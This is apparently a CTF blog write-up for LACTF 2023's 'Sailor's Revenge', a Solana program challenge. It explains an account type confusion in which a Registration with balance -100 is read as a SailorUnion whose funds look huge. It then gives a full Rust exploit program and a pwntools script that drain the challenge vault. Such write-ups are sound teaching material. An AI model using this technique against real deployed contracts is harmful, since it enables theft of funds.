<-->

 

Sailor has been presented in LACTF2023 by Aplet123.

The write-up can be found on my blog.

 

 

 

Sailor's Revenge

 

Root Cause

/chall/src/processor.rs

pub struct SailorUnion {
    available_funds: u64,
    authority: [u8; 32],
}

pub struct Registration {
    balance: i64,
    member: [u8; 32],
}

It is observed that the sizes of two structs are identical, and the balance of the Registration can have a negative value. (This is a very strong hint)

 

 

pub fn register_member(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    member: [u8; 32],
) -> ProgramResult {

	// ...

    let ser_data = Registration {
        balance: -100,
        member,
        // sailor_union: sailor_union.key.to_bytes(),
    }
    .try_to_vec()?;
    
    // ...

    registration.data.borrow_mut().copy_from_slice(&ser_data);

In register_member() function, the balance of registration struct stores a value of -100.

 

 

pub fn strike_pay(program_id: &Pubkey, accounts: &[AccountInfo], amt: u64) -> ProgramResult {
    msg!("strike pay {}", amt);

    let iter = &mut accounts.iter();

    let sailor_union = next_account_info(iter)?;
    assert!(!sailor_union.is_signer);
    assert!(sailor_union.is_writable);
    assert!(sailor_union.owner == program_id);

    let member = next_account_info(iter)?;
    assert!(member.is_writable);
    assert!(member.owner == &system_program::ID);

    let authority = next_account_info(iter)?;
    assert!(authority.is_signer);
    assert!(authority.owner == &system_program::ID);

    let (vault_addr, vault_bump) = Pubkey::find_program_address(&[b"vault"], program_id);
    let vault = next_account_info(iter)?;
    assert!(!vault.is_signer);
    assert!(vault.is_writable);
    assert!(vault.owner == &system_program::ID);
    assert!(vault.key == &vault_addr);

    let system = next_account_info(iter)?;
    assert!(system.key == &system_program::ID);

    let mut data = SailorUnion::try_from_slice(&sailor_union.data.borrow())?;
    assert!(&data.authority == authority.key.as_ref());

    if data.available_funds >= amt {
        data.available_funds -= amt;
        transfer(&vault, &member, amt, &[&[b"vault", &[vault_bump]]])?;
        data.serialize(&mut &mut *sailor_union.data.borrow_mut())?;
        Ok(())
    } else {

To claim strike_pay function,

  • available_funds of sailor_union must have some value.
  • address of sailor_union is derived by its authority.

 

In /server/main.rs ,

    challenge.env.execute_as_transaction(
        &[Instruction::new_with_borsh(
            prog.pubkey(),
            &SailorInstruction::CreateUnion(VAULT_BAL),
            vec![
                AccountMeta::new(sailor_union, false),
                AccountMeta::new(rich_boi.pubkey(), true),
                AccountMeta::new(vault, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
        )],
        &[&rich_boi],
    );

The authority of sailor_union is rich_boi.

 

 

 

In create_union() of processor.rs

        let data = SailorUnion {
            available_funds: 0,
            authority: authority.key.to_bytes(),
        };

the available_funds of sailor_union is zero.

 

 

 

We cannot call strike_pay with sailor_union.

So, we should use registration instead of sailor_union.

 

This can bypass all of the assert statements in strike_pay.

If I claim 100_000_000 coins, the -100 stored in the balance will be cast as a larger value in u64 than 100_000_000.

 

And

assert!(&data.authority == authority.key.as_ref());

Since member stored is the user, we place user in the position of authority.

 

 

 

Solve

lib.rs

use borsh::{BorshDeserialize, BorshSerialize};

#[derive(Debug, Clone, BorshSerialize,PartialEq, Eq, PartialOrd, Ord)]
pub enum SailorInstruction {
    CreateUnion(u64),
    PayDues(u64),
    StrikePay(u64),
    RegisterMember([u8; 32]),
}

#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub struct SailorUnion {
    available_funds: u64,
    authority: [u8; 32],
}

#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub struct Registration {
    balance: i64,
    member: [u8; 32],
}

#[cfg(not(feature = "no-entrypoint"))]
pub mod entrypoint {
    use borsh::BorshSerialize;
    use solana_program::{
        account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, instruction::Instruction,
        msg, program::invoke, pubkey::Pubkey,
        instruction::AccountMeta,
    };

    // use chall::{self, SailorInstruction};
    use crate::SailorInstruction;

    entrypoint!(process_instruction);


    pub fn process_instruction(
        _program_id: &Pubkey,
        accounts: &[AccountInfo],
        _instruction_data: &[u8],
    ) -> ProgramResult {
        let prog = accounts[0].clone();
        let user = accounts[1].clone();
        let vault = accounts[2].clone();
        let sailor_union = accounts[3].clone();
        let registration = accounts[4].clone();
        let rich_boi = accounts[5].clone();
        let system_program = accounts[6].clone();

        let amt = 100_000_000;
        
        msg!("solving program {}", prog.key);


        invoke(
            &Instruction {
                program_id: prog.key.clone(),
                accounts: vec![
                    AccountMeta::new(registration.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(vault.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
                data: SailorInstruction::StrikePay(100_000_000).try_to_vec().unwrap(),
            },
            &[
                user.clone(),          
                registration.clone(),
                vault.clone(),
            ]
        );


        msg!("done solving");

        Ok(())
    }
}

 

cargo.toml

[package]
edition = "2021"
name = "solve"
version = "0.1.0"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
# sailors-revenge = {path = "../chall", version = "0.1.0"}
solana-program = "1.14.11"
borsh = "0.10.3"

[features]
default = []
no-entrypoint = []
no-idl = []
no-log-ix-name = []

[lib]
crate-type = ["cdylib", "rlib"]

 

cargo build-bpf

 

solve.py (check the path of solve.so)

# sample solve script to interface with the server
from pwn import *

# feel free to change this
account_metas = [
    ("program", "-r"), # readonly
    ("user", "sw"), # signer + writable
    ("vault", "-w"), # writable
    ("sailor union", "-w"),
    ("registration", "-w"),
    ("rich boi", "-r"),
    ("system program", "-r"),
]
instruction_data = b"placeholder"

p = remote("challs.actf.co", 31404)
# p = remote("127.0.0.1", 5000)

with open("./solve/target/deploy/solve.so", "rb") as f:
    solve = f.read()

p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)

accounts = {}
for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"):
    [name, pubkey] = l.decode().split(": ")
    accounts[name] = pubkey

p.sendline(str(len(account_metas)).encode())
for (name, perms) in account_metas:
    p.sendline(f"{perms} {accounts[name]}".encode())
p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)

p.interactive()

 

actf{maybe_anchor_can_kind_of_protect_me_from_my_own_stupidity}

'writeups' 카테고리의 다른 글

flashbot mev-share ctf  (0) 2023.08.08
corCTF 2023 - blockchain(tribunal, baby-wallet)  (0) 2023.07.31
NumemCTF 2023  (0) 2023.04.01
DaVinciCTF 2023 - blockchain  (0) 2023.03.13
SUITF  (0) 2023.03.03

+ Recent posts